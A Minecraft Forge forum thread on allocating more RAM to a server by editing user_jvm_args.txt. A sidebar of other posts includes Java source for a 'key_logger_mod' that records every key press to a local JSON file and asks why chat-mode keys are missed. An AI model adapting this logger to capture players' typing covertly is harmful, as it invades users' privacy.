How to allocate more RAM to forge server?

Sorry if this has been asked before, I can't find the answer online. The "user_jvm_args.txt" explains how to do it somewhat, but I don't know where to put that line into. The txt file says this:

# Xmx and Xms set the maximum and minimum RAM usage, respectively.
# They can take any number, followed by an M or a G.
# M means Megabyte, G means Gigabyte.
# For example, to set the maximum to 3GB: -Xmx3G
# To set the minimum to 2.5GB: -Xms2500M

# A good default for a modded server is 4GB.
# Uncomment the next line to set it.
# -Xmx4G

Thanks!

 

Normally, I would just add the xml and xms into a jar file, but later versions of Forge don't have the jars.

Seems pretty self explanatory to me?

The # at the start of a line means it is a comment, you remove the #

Boilerplate:

If you don't post your logs/debug.log we can't help you. For curseforge you need to enable the forge debug.log in its minecraft settings. You should also post your crash report if you have one.

If there is no error in the log file and you don't have a crash report then post the launcher_log.txt from the minecraft folder. Again for curseforge this will be in your curseforge/minecraft/Install

Large files should be posted to a file sharing site like https://gist.github.com  You should also read the support forum sticky post.

i notice a change if i add the min and max ram in the line like this for example: 

 

# Xmx and Xms set the maximum and minimum RAM usage, respectively.
# They can take any number, followed by an M or a G.
# M means Megabyte, G means Gigabyte.
# For example, to set the maximum to 3GB: -Xmx3G
# To set the minimum to 2.5GB: -Xms2500M

# A good default for a modded server is 4GB.
# Uncomment the next line to set it.
-Xmx10240M -Xms8192M 
 

i need to make more experiments but for now this apparently works.

    • Hello, I would like to make a mod with which I can distribute my own capes to players. The players should be able to see their capes among each other.
    • Tried that, unfortunately didn't work. Any other solutions?
    • Add necronomicon https://www.curseforge.com/minecraft/mc-mods/necronomicon
    • I have a keylogger code as following: package com.key_logger_mod; import com.google.gson.Gson; import com.google.gson.GsonBuilder; import net.minecraftforge.api.distmarker.Dist; import net.minecraftforge.client.event.InputEvent; import net.minecraftforge.eventbus.api.SubscribeEvent; import net.minecraftforge.fml.common.Mod; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import net.minecraft.client.Minecraft; import org.lwjgl.glfw.GLFW; import java.io.IOException; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.nio.file.StandardOpenOption; import java.util.HashMap; import java.util.Map; @Mod.EventBusSubscriber(modid = "key_logger_mod", bus = Mod.EventBusSubscriber.Bus.FORGE, value = Dist.CLIENT) public class KeyboardLogger {     private static final Logger LOGGER = LogManager.getLogger();     private static final Gson gson = new GsonBuilder().create();     private static final boolean logToJson = true; // Set to false to log to console     private static final String jsonFilePath = "/path/to/file";     private static final Map<Integer, Boolean> keyStates = new HashMap<>();     private static final long WINDOW_HANDLE = Minecraft.getInstance().getWindow().getWindow(); // Get the window handle     static {         initializeLogFile();     }     private static void initializeLogFile() {         Path path = Paths.get(jsonFilePath);         try {             Files.write(path, "[".getBytes(), StandardOpenOption.CREATE, StandardOpenOption.TRUNCATE_EXISTING);         } catch (IOException e) {             LOGGER.error("Failed to initialize JSON file", e);         }     }     @SubscribeEvent     public static void onKeyInput(InputEvent.Key event) {         if (Minecraft.getInstance().level == null) return; // Only log if the player is in the game world         long timestamp = System.currentTimeMillis();         int key = event.getKey();         int action = event.getAction();         int mods = event.getModifiers();         synchronized (keyStates) {             if (action == GLFW.GLFW_PRESS) {                 if (!keyStates.getOrDefault(key, false)) {                     keyStates.put(key, true);                     logKeyAction(timestamp, key, "PRESS");                 }             } else if (action == GLFW.GLFW_RELEASE) {                 if (keyStates.getOrDefault(key, false)) {                     keyStates.put(key, false);                     logKeyAction(timestamp, key, "RELEASE");                 }             }         }     }     private static void logKeyAction(long timestamp, int key, String action) {         KeyboardData keyboardData = new KeyboardData(timestamp, key, action);         if (logToJson) {             try {                 String jsonData = gson.toJson(keyboardData) + ",";                 Files.writeString(Paths.get(jsonFilePath), jsonData + System.lineSeparator(), StandardOpenOption.CREATE, StandardOpenOption.APPEND);             } catch (IOException e) {                 LOGGER.error("Failed to write keyboard event to JSON file", e);             }         } else {             LOGGER.info("Timestamp: {}, Key: {}, Action: {}", timestamp, key, action);         }     }     static class KeyboardData {         long timestamp;         int key;         String action;         KeyboardData(long timestamp, int key, String action) {             this.timestamp = timestamp;             this.key = key;             this.action = action;         }     } } It works fine when players play normally, every key is registered. But when user press "slash" and enter the chat box mode, it stops recording keys like "backspace", "enter", etc. But still registering characters and number keys. Why is this happening?  
    • It happened on a snowy mountain in the overworld. It wasn't actually a crash, the game didn't close itself or something, it was more like when you are lagging online, and mobs are standing still, you cannot break blocks, things like that. Hope you'll find a solution Madz.
